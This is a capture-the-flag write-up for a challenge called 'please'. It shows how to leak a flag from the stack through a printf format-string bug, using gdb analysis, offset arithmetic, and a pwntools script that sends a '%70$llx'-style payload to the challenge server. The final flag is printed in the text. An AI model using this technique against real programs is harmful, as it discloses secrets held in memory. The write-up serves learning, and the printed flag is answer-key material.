https://s3-us-west-2.amazonaws.com/secure.notion-static.com/8299ca2d-5b1a-4c4a-9e6f-e4b7f76e7540/Untitled.png

Downloads:

please.c

Based on the title, it seems that we would need to do a format string attack. The first argument is known as the format string and the next few arguments are the values that need to be inserted. printf() does not check that the number of format string specifiers tallies with the number of adiitional arguments. Thus, this vulnerability can be used to read some values off the stack.

How does printf() work?

The format string is added to the stack, and for each format string identifier, a value is popped off the stack (from lower memory address to higher memory address). I found this link to be extremely useful for me.

Solution

  1. Read the C code.

    https://s3-us-west-2.amazonaws.com/secure.notion-static.com/b860c579-1b94-429d-bb50-80032e69de29/Untitled.png

    The user input would need to start with "please".

    https://s3-us-west-2.amazonaws.com/secure.notion-static.com/de5fa731-1ec8-4a4e-b8ca-23ddb19cf710/Untitled.png

    We would need to create flag.txt and place an arbitrary flag to test locally.

    https://s3-us-west-2.amazonaws.com/secure.notion-static.com/1994e379-699e-40d3-901d-d9c7494f3e85/Untitled.png

    The flag value is stored onto the stack.

  2. Run the binary normally.

    https://s3-us-west-2.amazonaws.com/secure.notion-static.com/7d488be0-e94d-4b6e-b964-a992b6e2e982/Untitled.png

    As it can be seen, some additional values are being printed. Now we just need to figure out how many values to print off the stack.

  3. Analyse with gdb (GNU Debugger)

    My aim with using gdb is to find out where the flag buffer is and the index of the values that need to be printed.

    Note: For the gdb commands, scroll below.

    After sending in the user input, we can observe the stack with "x/200x $sp". These are some findings:

    https://s3-us-west-2.amazonaws.com/secure.notion-static.com/adb4cf61-2a24-4caa-866e-f31e4d26bd90/Untitled.png

    https://s3-us-west-2.amazonaws.com/secure.notion-static.com/5ae38a77-f372-4fed-bc63-ec4e67a696a4/Untitled.png

    flag[512] start location --> 0x7fffffffdc50
    buffer[512] start location --> 0x7fffffffde50
    difference = 512 bytes
    

    flag[] is at a lower address than buffer[], thus, we can pop the values off the stack if we know which argument index it is.

  4. Figure out the index of the argument on the stack.

    1. Run the binary again normally. And take note of when the value "please" starts appearing.

      https://s3-us-west-2.amazonaws.com/secure.notion-static.com/ffd874ac-a1cf-41ef-b4d4-514cccaeff65/Untitled.png

      This means that the 6th argument is where the user input is starting from. We can shorten this code by using "%6$llx" instead, which means to print the 6th argument as a long long hexadecimal.

      https://s3-us-west-2.amazonaws.com/secure.notion-static.com/b11b6f0c-35bd-49a7-a5b0-4616e5ec8857/Untitled.png

      Each argument is 8 bytes long, thus, the number of arguments between flag[] and buffer[] are 64.

      # arguments btw $rsp and start of buffer[] --> 5
      # arguments btw start of buffer[] and start of flag [] --> 64
      total # of arguments between $rsp and start of flag[] --> 69
      

      Note: For a clearer picture about the stack, scroll below.

    2. Thus, the flag is the 70th argument on the stack and "%70llx" can be used to leak the flag.

      https://s3-us-west-2.amazonaws.com/secure.notion-static.com/4997b88a-c3d5-400c-92e1-f3fdf3b18d43/Untitled.png

      Take note of the use of Little Endian. When reversed and converted to hex, the arbitrary flag "flag testing" can be formed.

  5. Write a script to test against the server.

    from pwn import *
    
    p = remote("mc.ax", 31569)
    p.send("please-%70$llx-%71$llx-%72$llx-%73$llx-%74$llx-%75$llx")
    p.interactive()
    p.close()
    

    Running this script, we will get the following:

    https://s3-us-west-2.amazonaws.com/secure.notion-static.com/15743ff6-6039-4041-9918-0a1cb46ca0bb/5.png

    flag: 336c707b67616c66-6e3172705f337361-5f687431775f6674-5f6e303174756163-7d6c78336139
    
    Note: Convert each set to ASCII, reverse the characters and concatenate all the sets.
    

Flag: flag{pl3as3_pr1ntf_w1th_caut10n_9a3xl}

gdb commands

**Initial analysis**
b *main
set disassembly-flavor intel
disass main
b *main+194
run
*<breakpoint 1 reached>*
c
*user input: please%x%x%x*
x/200x $sp

Stack diagram

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/e1b57a90-c8d3-4b0e-b57c-e9698c175e76/Untitled.png